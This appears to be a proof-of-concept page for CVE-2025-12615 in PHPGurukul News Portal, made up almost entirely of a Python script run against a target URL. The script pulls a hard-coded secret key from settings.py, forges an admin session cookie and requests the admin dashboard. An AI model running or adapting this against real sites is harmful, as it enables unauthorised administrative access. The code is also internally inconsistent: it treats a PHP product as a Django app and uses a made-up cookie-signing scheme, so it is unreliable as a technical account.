CVE-2025-12615 PHPGurukul News Portal 硬编码加密密钥漏洞

# CVE-2025-12615 PoC - Hard-coded SECRET_KEY Exploitation # Affected: PHPGurukul News Portal 1.0 (/onps/settings.py) import requests import hashlib from urllib.parse import urlencode TARGET_URL = "http://target.com/onps" # Step 1: Extract hard-coded SECRET_KEY from source code # Attacker can obtain source code from: # - GitHub repositories # - Directory traversal vulnerabilities # - Exposed .git directories def get_secret_key(): """ Extract SECRET_KEY from /onps/settings.py The hard-coded key is typically found in settings.py """ try: response = requests.get(f"{TARGET_URL}/settings.py", timeout=10) if response.status_code == 200: for line in response.text.split('\n'): if 'SECRET_KEY' in line and '=' in line: return line.split('=')[1].strip().strip('"\'') except Exception as e: print(f"Error: {e}") return None # Step 2: Forge session cookie using the extracted SECRET_KEY def forge_session_cookie(secret_key, user_data): """ Forge Django session cookie using extracted SECRET_KEY """ import base64 import json from django.utils.crypto import get_random_string # Django session cookie structure session_data = base64.b64encode(json.dumps(user_data).encode()).decode() # Sign with SECRET_KEY (simplified demonstration) signature = hashlib.sha256((session_data + secret_key).encode()).hexdigest() return session_data + "." + signature # Step 3: Perform session hijacking def hijack_session(target_username): """ Hijack user session using forged cookie """ secret_key = get_secret_key() if not secret_key: print("[-] Could not extract SECRET_KEY") return print(f"[+] Extracted SECRET_KEY: {secret_key[:20]}...") # Forge admin session forged_cookie = forge_session_cookie( secret_key, {'user_id': 1, 'username': target_username, 'is_admin': True} ) # Set cookie and access admin panel session = requests.Session() session.cookies.set('sessionid', forged_cookie) response = session.get(f"{TARGET_URL}/admin/dashboard") if response.status_code == 200: print("[+] Session hijacking successful!") print("[+] Admin access obtained") else: print("[-] Session hijacking failed") if __name__ == "__main__": hijack_session("admin")